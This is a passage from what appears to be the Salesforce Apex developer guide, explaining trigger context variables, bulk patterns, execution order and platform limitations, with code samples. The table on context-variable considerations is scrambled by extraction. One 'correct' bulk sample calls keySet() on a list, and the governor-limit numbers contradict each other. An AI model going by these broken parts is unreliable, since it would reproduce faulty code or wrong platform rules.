The code block of a trigger cannot contain the static keyword. Triggers can only contain keywords applicable to an inner class. In addition, you do not have to manually commit any database changes made by a trigger. If your Apex trigger completes successfully, any database changes are automatically committed. If your Apex trigger does not complete successfully, any changes made to the database are rolled back.

Trigger Context Variables

All triggers define implicit variables that allow developers to access runtime context. These variables are contained in the System.Trigger class: Variable
isExecuting

Usage Returns true if the current context for the Apex code is a trigger, not a Visualforce page, a Web service, or an executeanonymous() API call. Returns true if this trigger was fired due to an insert operation, from the Salesforce user interface, Apex, or the API. Returns true if this trigger was fired due to an update operation, from the Salesforce user interface, Apex, or the API. Returns true if this trigger was fired due to a delete operation, from the Salesforce user interface, Apex, or the API. Returns true if this trigger was fired before any record was saved. Returns true if this trigger was fired after all records were saved. Returns true if this trigger was fired after a record is recovered from the Recycle Bin (that is, after an undelete operation from the Salesforce user interface, Apex, or the API.) Returns a list of the new versions of the sObject records. Note that this sObject list is only available in insert and update triggers, and the records can only be modified in before triggers.

isInsert

isUpdate

isDelete

isBefore isAfter isUndelete

new

newMap

A map of IDs to the new versions of the sObject records. Note that this map is only available in before update, after insert, and after update triggers.

old

Returns a list of the old versions of the sObject records. Note that this sObject list is only available in update and delete triggers.

oldMap

A map of IDs to the old versions of the sObject records. Note that this map is only available in update and delete triggers.

size

The total number of records in a trigger invocation, both old and new.

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Note: If any record that fires a trigger includes an invalid field value (for example, a formula that divides by zero), that value is set to null in the new, newMap, old, and oldMap trigger context variables. For example, in this simple trigger, Trigger.new is a list of sObjects and can be iterated over in a for loop, or used as a bind variable in the IN clause of a SOQL query:
Trigger t on Account (after insert) { for (Account a : Trigger.new) { // Iterate over each sObject } // This single query finds every contact that is associated with any of the // triggering accounts. Note that although Trigger.new is a collection of // records, when used as a bind variable in a SOQL query, Apex automatically // transforms the list of records into a list of corresponding Ids. Contact[] cons = [SELECT LastName FROM Contact WHERE AccountId IN :Trigger.new]; }

This trigger uses Boolean context variables like Trigger.isBefore and Trigger.isDelete to define code that only executes for specific trigger conditions:
trigger myAccountTrigger on Account(before delete, before insert, before update, after delete, after insert, after update) { if (Trigger.isBefore) { if (Trigger.isDelete) { // In a before delete trigger, the trigger accesses the records that will be // deleted with the Trigger.old list. for (Account a : Trigger.old) { if (a.name != 'okToDelete') { a.addError('You can\'t delete this record!'); } } } else { // In before insert or before update triggers, the trigger accesses the new records // with the Trigger.new list. for (Account a : Trigger.new) { if (a.name == 'bad') { a.name.addError('Bad name'); } } if (Trigger.isInsert) { for (Account a : Trigger.new) { System.assertEquals('xxx', a.accountNumber); System.assertEquals('industry', a.industry); System.assertEquals(100, a.numberofemployees); System.assertEquals(100.0, a.annualrevenue); a.accountNumber = 'yyy'; } // If the trigger is not a before trigger, it must be an after trigger. } else { if (Trigger.isInsert) { List<Contact> contacts = new List<Contact>(); for (Account a : Trigger.new) { if(a.Name == 'makeContact') { contacts.add(new Contact (LastName = a.Name, AccountId = a.Id)); } } insert contacts; } } }}}

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Context Variable Considerations

Context Variable Considerations

Be aware of the following considerations for trigger context variables:
trigger.new and trigger.old cannot be used in Apex DML operations.

You can use an object to change its own field values using trigger.new, but only in before triggers. In all after triggers, trigger.new is not saved, so a runtime exception is thrown. trigger.old is always read-only. You cannot delete trigger.new.

The following table lists considerations about certain actions in different trigger events: Trigger Event Can change fields using
trigger.new

Can update original object using an update DML operation Not applicable. The original object has not been created; nothing can reference it, so nothing can update it.

Can delete original object using a delete DML operation Not applicable. The original object has not been created; nothing can reference it, so nothing can update it. Allowed, but unnecessary. The object is deleted immediately after being inserted.

before insert

Allowed.

after insert

Not allowed. A runtime error Allowed. is thrown, as trigger.new is already saved. Allowed.

before update

Not allowed. A runtime error Not allowed. A runtime error is thrown. is thrown. Allowed. The updates are saved before the object is deleted, so if the object is undeleted, the updates become visible.

after update

Not allowed. A runtime error Allowed. Even though bad is thrown, as trigger.new code could cause an infinite is already saved. recursion doing this incorrectly, the error would be found by the governor limits. Not allowed. A runtime error is thrown. trigger.new is not available in before delete triggers.

before delete

Allowed. The updates are Not allowed. A runtime error saved before the object is is thrown. The deletion is deleted, so if the object is already in progress. undeleted, the updates become visible.

after delete

Not allowed. A runtime error Not applicable. The object has Not applicable. The object has is thrown. trigger.new is already been deleted. already been deleted. not available in after delete triggers. Not allowed. A runtime error Allowed. is thrown. trigger.old is not available in after undelete triggers. Allowed, but unnecessary. The object is deleted immediately after being inserted.

after undelete

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Common Bulk Trigger Idioms

Common Bulk Trigger Idioms

Although bulk triggers allow developers to process more records without exceeding execution governor limits, they can be more difficult for developers to understand and code because they involve processing batches of several records at a time. The following sections provide examples of idioms that should be used frequently when writing in bulk.

Using Maps and Sets in Bulk Triggers

Set and map data structures are critical for successful coding of bulk triggers. Sets can be used to isolate distinct records, while maps can be used to hold query results organized by record ID. For example, this bulk trigger from the sample quoting application first adds each pricebook entry associated with the OpportunityLineItem records in Trigger.new to a set, ensuring that the set contains only distinct elements. It then queries the PricebookEntries for their associated product color, and places the results in a map. Once the map is created, the trigger iterates through the OpportunityLineItems in Trigger.new and uses the map to assign the appropriate color.
// When a new line item is added to an opportunity, this trigger copies the value of the // associated product's color to the new record. trigger oppLineTrigger on OpportunityLineItem (before insert) { // For every OpportunityLineItem record, add its associated pricebook entry // to a set so there are no duplicates. Set<Id> pbeIds = new Set<Id>(); for (OpportunityLineItem oli : Trigger.new) pbeIds.add(oli.pricebookentryid); // Query the PricebookEntries for their associated product color and place the results // in a map. Map<Id, PricebookEntry> entries = new Map<Id, PricebookEntry>( [select product2.color__c from pricebookentry where id in :pbeIds]); // Now use the map to set the appropriate color on every OpportunityLineItem processed // by the trigger. for (OpportunityLineItem oli : Trigger.new) oli.color__c = entries.get(oli.pricebookEntryId).product2.color__c; }

Correlating Records with Query Results in Bulk Triggers

Use the Trigger.newMap and Trigger.oldMap ID-to-sObject maps to correlate records with query results. For example, this trigger from the sample quoting app uses Trigger.oldMap to create a set of unique IDs (Trigger.oldMap.keySet()). The set is then used as part of a query to create a list of quotes associated with the opportunities being processed by the trigger. For every quote returned by the query, the related opportunity is retrieved from Trigger.oldMap and prevented from being deleted:
trigger oppTrigger on Opportunity (before delete) { for (Quote__c q : [SELECT opportunity__c FROM quote__c WHERE opportunity__c IN :Trigger.oldMap.keySet()]) { Trigger.oldMap.get(q.opportunity__c).addError('Cannot delete opportunity with a quote'); } }

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Defining Triggers

Using Triggers to Insert or Update Records with Unique Fields

When an insert or upsert event causes a record to duplicate the value of a unique field in another new record in that batch, the error message for the duplicate record includes the ID of the first record. However, it is possible that the error message may not be correct by the time the request is finished. When there are triggers present, the retry logic in bulk operations causes a rollback/retry cycle to occur. That retry cycle assigns new keys to the new records. For example, if two records are inserted with the same value for a unique field, and you also have an insert event defined for a trigger, the second duplicate record fails, reporting the ID of the first record. However, once the system rolls back the changes and re-inserts the first record by itself, the record receives a new ID. That means the error message reported by the second record is no longer valid.

Defining Triggers
Trigger code is stored as metadata under the object with which they are associated. To define a trigger in Salesforce: 1. For a standard object, from Setup, click Customize, click the name of the object, then click Triggers. For a custom object, from Setup, click Create > Objects and click the name of the object. For campaign members, from Setup, click Customize > Campaigns > Campaign Member > Triggers. For case comments, from Setup, click Customize > Cases > Case Comments > Triggers. For email messages, from Setup, click Customize > Cases > Email Messages > Triggers. For comments on ideas, from Setup, click Customize > Ideas > Idea Comments > Triggers. For the Attachment, ContentDocument, and Note standard objects, you cant create a trigger in the Salesforce user interface. For these objects, create a trigger using development tools, such as the Developer Console or the Force.com IDE. Alternatively, you can also use the Metadata API. 2. In the Triggers related list, click New. 3. Click Version Settings to specify the version of Apex and the API used with this trigger. If your organization has installed managed packages from the AppExchange, you can also specify which version of each managed package to use with this trigger. Use the default values for all versions. This associates the trigger with the most recent version of Apex and the API, as well as each managed package. You can specify an older version of a managed package if you want to access components or functionality that differs from the most recent package version. 4. Click Apex Trigger and select the Is Active checkbox if the trigger should be compiled and enabled. Leave this checkbox deselected if you only want to store the code in your organization's metadata. This checkbox is selected by default. 5. In the Body text box, enter the Apex for the trigger. A single trigger can be up to 1 million characters in length. To define a trigger, use the following syntax:
trigger triggerName on ObjectName (trigger_events) { code_block }

where trigger_events can be a comma-separated list of one or more of the following events:
before insert before update before delete after insert after update after delete

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after undelete

Note: You can only use the webService keyword in a trigger when it is in a method defined as asynchronous; that is, when the method is defined with the @future keyword. A trigger invoked by an insert, delete, or update of a recurring event or recurring task results in a runtime error when the trigger is called in bulk from the Force.com API.

6. Click Save. Note: Triggers are stored with an isValid flag that is set to true as long as dependent metadata has not changed since the trigger was last compiled. If any changes are made to object names or fields that are used in the trigger, including superficial changes such as edits to an object or field description, the isValid flag is set to false until the Apex compiler reprocesses the code. Recompiling occurs when the trigger is next executed, or when a user re-saves the trigger in metadata. If a lookup field references a record that has been deleted, Salesforce clears the value of the lookup field by default. Alternatively, you can choose to prevent records from being deleted if theyre in a lookup relationship.

The Apex Trigger Editor When editing Visualforce or Apex, either in the Visualforce development mode footer or from Setup, an editor is available with the following functionality: Syntax highlighting The editor automatically applies syntax highlighting for keywords and all functions and operators. Search ( ) Search enables you to search for text within the current page, class, or trigger. To use search, enter a string in the Search textbox and click Find Next. To replace a found search string with another string, enter the new string in the Replace textbox and click replace to replace just that instance, or Replace All to replace that instance and all other instances of the search string that occur in the page, class, or trigger. To make the search operation case sensitive, select the Match Case option. To use a regular expression as your search string, select the Regular Expressions option. The regular expressions follow JavaScript's regular expression rules. A search using regular expressions can find strings that wrap over more than one line. If you use the replace operation with a string found by a regular expression, the replace operation can also bind regular expression group variables ($1, $2, and so on) from the found search string. For example, to replace an <h1> tag with an <h2> tag and keep all the attributes on the original <h1> intact, search for <h1(\s+)(.*)> and replace it with <h2$1$2>.

Go to line ( ) This button allows you to highlight a specified line number. If the line is not currently visible, the editor scrolls to that line. Undo ( ) and Redo ( ) Use undo to reverse an editing action and redo to recreate an editing action that was undone.

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Font size Select a font size from the drop-down list to control the size of the characters displayed in the editor. Line and column position The line and column position of the cursor is displayed in the status bar at the bottom of the editor. This can be used with go to line ( ) to quickly navigate through the editor.

Line and character count The total number of lines and characters is displayed in the status bar at the bottom of the editor.

Triggers and Merge Statements

Merge events do not fire their own trigger events. Instead, they fire delete and update events as follows: Deletion of losing records A single merge operation fires a single delete event for all records that are deleted in the merge. To determine which records were deleted as a result of a merge operation use the MasterRecordId field in Trigger.old. When a record is deleted after losing a merge operation, its MasterRecordId field is set to the ID of the winning record. The MasterRecordId field is only set in after delete trigger events. If your application requires special handling for deleted records that occur as a result of a merge, you need to use the after delete trigger event. Update of the winning record A single merge operation fires a single update event for the winning record only. Any child records that are reparented as a result of the merge operation do not fire triggers. For example, if two contacts are merged, only the delete and update contact triggers fire. No triggers for records related to the contacts, such as accounts or opportunities, fire. The following is the order of events when a merge occurs: 1. The before delete trigger fires. 2. The system deletes the necessary records due to the merge, assigns new parent records to the child records, and sets the MasterRecordId field on the deleted records. 3. The after delete trigger fires. 4. The system does the specific updates required for the master record. Normal update triggers apply.

Triggers and Recovered Records

The after undelete trigger event only works with recovered recordsthat is, records that were deleted and then recovered from the Recycle Bin through the undelete DML statement. These are also called undeleted records. The after undelete trigger events only run on top-level objects. For example, if you delete an Account, an Opportunity may also be deleted. When you recover the Account from the Recycle Bin, the Opportunity is also recovered. If there is an after undelete trigger event associated with both the Account and the Opportunity, only the Account after undelete trigger event executes. The after undelete trigger event only fires for the following objects: Account Asset Campaign Case Contact 196

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Triggers and Order of Execution

ContentDocument Contract Custom objects Event Lead Opportunity Product Solution Task

Triggers and Order of Execution

When you save a record with an insert, update, or upsert statement, Salesforce performs the following events in order. Note: Before Salesforce executes these events on the server, the browser runs JavaScript validation if the record contains any dependent picklist fields. The validation limits each dependent picklist field to its available values. No other validation occurs on the client side. On the server, Salesforce: 1. Loads the original record from the database or initializes the record for an upsert statement. 2. Loads the new record field values from the request and overwrites the old values. If the request came from a standard UI edit page, Salesforce runs system validation to check the record for: Compliance with layout-specific rules Required values at the layout level and field-definition level Valid field formats Maximum field length

Salesforce doesn't perform system validation in this step when the request comes from other sources, such as an Apex application or a SOAP API call. 3. Executes all before triggers. 4. Runs most system validation steps again, such as verifying that all required fields have a non-null value, and runs any user-defined validation rules. The only system validation that Salesforce doesn't run a second time (when the request comes from a standard UI edit page) is the enforcement of layout-specific rules. 5. Saves the record to the database, but doesn't commit yet. 6. Executes all after triggers. 7. Executes assignment rules. 8. Executes auto-response rules. 9. Executes workflow rules. 10. If there are workflow field updates, updates the record again. 11. If the record was updated with workflow field updates, fires before update triggers and after update triggers one more time (and only one more time), in addition to standard validations. Custom validation rules are not run again. 12. If there are workflow flow triggers, executes the flows. Flow trigger workflow actions and trigger-ready flows are currently available through a pilot program. For information on enabling this feature in your organization, contact salesforce.com. 13. Executes escalation rules.

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Triggers and Order of Execution

14. If the record contains a roll-up summary field or is part of a cross-object workflow, performs calculations and updates the roll-up summary field in the parent record. Parent record goes through save procedure. 15. If the parent record is updated, and a grand-parent record contains a roll-up summary field or is part of a cross-object workflow, performs calculations and updates the roll-up summary field in the parent record. Grand-parent record goes through save procedure. 16. Executes Criteria Based Sharing evaluation. 17. Commits all DML operations to the database. 18. Executes post-commit logic, such as sending email. Note: During a recursive save, Salesforce skips steps 7 through 14.

Additional Considerations Please note the following when working with triggers. The order of execution isnt guaranteed when having multiple triggers for the same object due to the same event. For example, if you have two before insert triggers for Case, and a new Case record is inserted that fires the two triggers, the order in which these triggers fire isnt guaranteed. When Enable Validation and Triggers from Lead Convert is selected, if the lead conversion creates an opportunity and the opportunity has Apex before triggers associated with it, the triggers run immediately after the opportunity is created, before the opportunity contact role is created. For more information, see Customizing Lead Settings in the Salesforce online help. If you are using before triggers to set Stage and Forecast Category for an opportunity record, the behavior is as follows: If you set Stage and Forecast Category, the opportunity record contains those exact values. If you set Stage but not Forecast Category, the Forecast Category value on the opportunity record defaults to the one associated with trigger Stage. If you reset Stage to a value specified in an API call or incoming from the user interface, the Forecast Category value should also come from the API call or user interface. If no value for Forecast Category is specified and the incoming Stage is different than the trigger Stage, the Forecast Category defaults to the one associated with trigger Stage. If the trigger Stage and incoming Stage are the same, the Forecast Category is not defaulted. If you are cloning an opportunity with products, the following events occur in order: 1. The parent opportunity is saved according to the list of events shown above. 2. The opportunity products are saved according to the list of events shown above. Note: If errors occur on an opportunity product, you must return to the opportunity and fix the errors before cloning. If any opportunity products contain unique custom fields, you must null them out before cloning the opportunity.
Trigger.old contains a version of the objects before the specific update that fired the trigger. However, there is an exception. When a record is updated and subsequently triggers a workflow rule field update, Trigger.old in the last

update trigger wont contain the version of the object immediately prior to the workflow update, but the object before the initial update was made. For example, suppose an existing record has a number field with an initial value of 1. A user updates this field to 10, and a workflow rule field update fires and increments it to 11. In the update trigger that fires after the workflow field update, the field value of the object obtained from Trigger.old is the original value of 1, rather than 10, as would typically be the case.

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Operations that Don't Invoke Triggers

Operations that Don't Invoke Triggers

Triggers are only invoked for data manipulation language (DML) operations that are initiated or processed by the Java application server. Consequently, some system bulk operations don't currently invoke triggers. Some examples include: Cascading delete operations. Records that did not initiate a delete don't cause trigger evaluation. Cascading updates of child records that are reparented as a result of a merge operation Mass campaign status changes Mass division transfers Mass address updates Mass approval request transfers Mass email actions Modifying custom field data types Renaming or replacing picklists Managing price books Changing a user's default division with the transfer division option checked Changes to the following objects: BrandTemplate MassEmailTemplate Folder Update account triggers don't fire before or after a business account record type is changed to person account (or a person account record type is changed to business account.) Note: Inserts, updates, and deletes on person accounts fire account triggers, not contact triggers.

Before triggers associated with the following operations are only fired during lead conversion if validation and triggers for lead conversion are enabled in the organization:
insert of accounts, contacts, and opportunities update of accounts and contacts

Opportunity triggers are not fired when the account owner changes as a result of the associated opportunity's owner changing. When you modify an opportunity product on an opportunity, or when an opportunity product schedule changes an opportunity product, even if the opportunity product changes the opportunity, the before and after triggers and the validation rules don't fire for the opportunity. However, roll-up summary fields do get updated, and workflow rules associated with the opportunity do run. The getContent and getContentAsPDF PageReference methods aren't allowed in triggers. Note the following for the ContentVersion object: Content pack operations involving the ContentVersion object, including slides and slide autorevision, don't invoke triggers. Note: Content packs are revised when a slide inside of the pack is revised.

Values for the TagCsv and VersionData fields are only available in triggers if the request to create or update ContentVersion records originates from the API.

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Entity and Field Considerations in Triggers

You can't use before or after delete triggers with the ContentVersion object.

Entity and Field Considerations in Triggers

QuestionDataCategorySelection Entity Not Available in After Insert Triggers The after insert trigger that fires after inserting one or more Question records doesnt have access to the QuestionDataCategorySelection records that are associated with the inserted Questions. For example, the following query doesnt return any results in an after insert trigger:
QuestionDataCategorySelection[] dcList = [select Id,DataCategoryName from QuestionDataCategorySelection where ParentId IN :questions];

Fields Not Updateable in Before Triggers Some field values are set during the system save operation, which occurs after before triggers have fired. As a result, these fields cannot be modified or accurately detected in before insert or before update triggers. Some examples include:
Task.isClosed Opportunity.amount* Opportunity.ForecastCategory Opportunity.isWon Opportunity.isClosed Contract.activatedDate Contract.activatedById Case.isClosed Solution.isReviewed Id (for all records)** createdDate (for all records)** lastUpdated (for all records) Event.WhoId (when Shared Activities is enabled) Task.WhoId (when Shared Activities is enabled)

* When Opportunity has no lineitems, Amount can be modified by a before trigger. ** Id and createdDate can be detected in before update triggers, but cannot be modified. Fields Not Updateable in After Triggers The following fields cant be updated by after insert or after update triggers.
Event.WhoId Task.WhoId

Operations Not Supported in Insert and Update Triggers The following operations arent supported in insert and update triggers. Manipulating an activity relation through the TaskRelation or EventRelation object, if Shared Activities is enabled Manipulating an invitee relation on a group event through the Invitee object, whether or not Shared Activities is enabled

Entities Not Supported in Update Triggers Certain objects cant be updated, and therefore, shouldnt have before update and after update triggers.

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Trigger Exceptions

FeedItem FeedComment

Entities Not Supported in After Undelete Triggers Certain objects cant be restored, and therefore, shouldnt have after undelete triggers. CollaborationGroup CollaborationGroupMember FeedItem FeedComment

Additional Considerations for Chatter Objects Things to consider about FeedItem and FeedComment triggers: Only FeedItems of Type TextPost, LinkPost, and ContentPost can be inserted, and therefore invoke the before or after insert trigger. User status updates don't cause the FeedItem triggers to fire. While FeedPost objects were supported for API versions 18.0, 19.0, and 20.0, don't use any insert or delete triggers saved against versions prior to 21.0. For FeedItem the following fields are not available in the before insert trigger: ContentSize ContentType In addition, the ContentData field is not available in any delete trigger. Triggers on FeedItem objects run before their attachment information is saved, which means that ConnectApi.FeedItem.attachment information may not be available in the trigger. The attachment information may not be available from these methods: ConnectApi.ChatterFeeds.getFeedItem, ConnectApi.ChatterFeeds.getFeedPoll, ConnectApi.ChatterFeeds.postFeedItem, ConnectApi.ChatterFeeds.shareFeedItem, and ConnectApi.ChatterFeeds.voteOnFeedPoll. For FeedComment before insert and after insert triggers, the fields of a ContentVersion associated with the FeedComment (obtained through FeedComment.RelatedRecordId) are not available. Apex code uses additional security when executing in a Chatter context. To post to a private group, the user running the code must be a member of that group. If the running user isn't a member, you can set the CreatedById field to be a member of the group in the FeedItem record.

Note the following for the CollaborationGroup and CollaborationGroupMember objects: When CollaborationGroupMember is updated, CollaborationGroup is automatically updated as well to ensure that the member count is correct. As a result, when CollaborationGroupMember update or delete triggers run, CollaborationGroup update triggers run as well.

Trigger Exceptions
Triggers can be used to prevent DML operations from occurring by calling the addError() method on a record or field. When used on Trigger.new records in insert and update triggers, and on Trigger.old records in delete triggers, the custom error message is displayed in the application interface and logged. Note: Users experience less of a delay in response time if errors are added to before triggers.

A subset of the records being processed can be marked with the addError() method:

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Trigger and Bulk Request Best Practices

If the trigger was spawned by a DML statement in Apex, any one error results in the entire operation rolling back. However, the runtime engine still processes every record in the operation to compile a comprehensive list of errors. If the trigger was spawned by a bulk DML call in the Force.com API, the runtime engine sets aside the bad records and attempts to do a partial save of the records that did not generate errors. See Bulk DML Exception Handling on page 408.

If a trigger ever throws an unhandled exception, all records are marked with an error and no further processing takes place.

See Also:
addError(String) field.addError(String)

Trigger and Bulk Request Best Practices

A common development pitfall is the assumption that trigger invocations never include more than one record. Apex triggers are optimized to operate in bulk, which, by definition, requires developers to write logic that supports bulk operations. This is an example of a flawed programming pattern. It assumes that only one record is pulled in during a trigger invocation. While this might support most user interface events, it does not support bulk operations invoked through the SOAP API or Visualforce.
trigger MileageTrigger on Mileage__c (before insert, before update) { User c = [SELECT Id FROM User WHERE mileageid__c = Trigger.new[0].id]; }

This is another example of a flawed programming pattern. It assumes that less than 100 records are pulled in during a trigger invocation. If more than 20 records are pulled into this request, the trigger would exceed the SOQL query limit of 100 SELECT statements:
trigger MileageTrigger on Mileage__c (before insert, before update) { for(mileage__c m : Trigger.new){ User c = [SELECT Id FROM user WHERE mileageid__c = m.Id]; } }

For more information on governor limits, see Understanding Execution Governors and Limits on page 240. This example demonstrates the correct pattern to support the bulk nature of triggers while respecting the governor limits:
Trigger MileageTrigger on Mileage__c (before insert, before update) { Set<ID> ids = Trigger.new.keySet(); List<User> c = [SELECT Id FROM user WHERE mileageid__c in :ids]; }

This pattern respects the bulk nature of the trigger by passing the Trigger.new collection to a set, then using the set in a single SOQ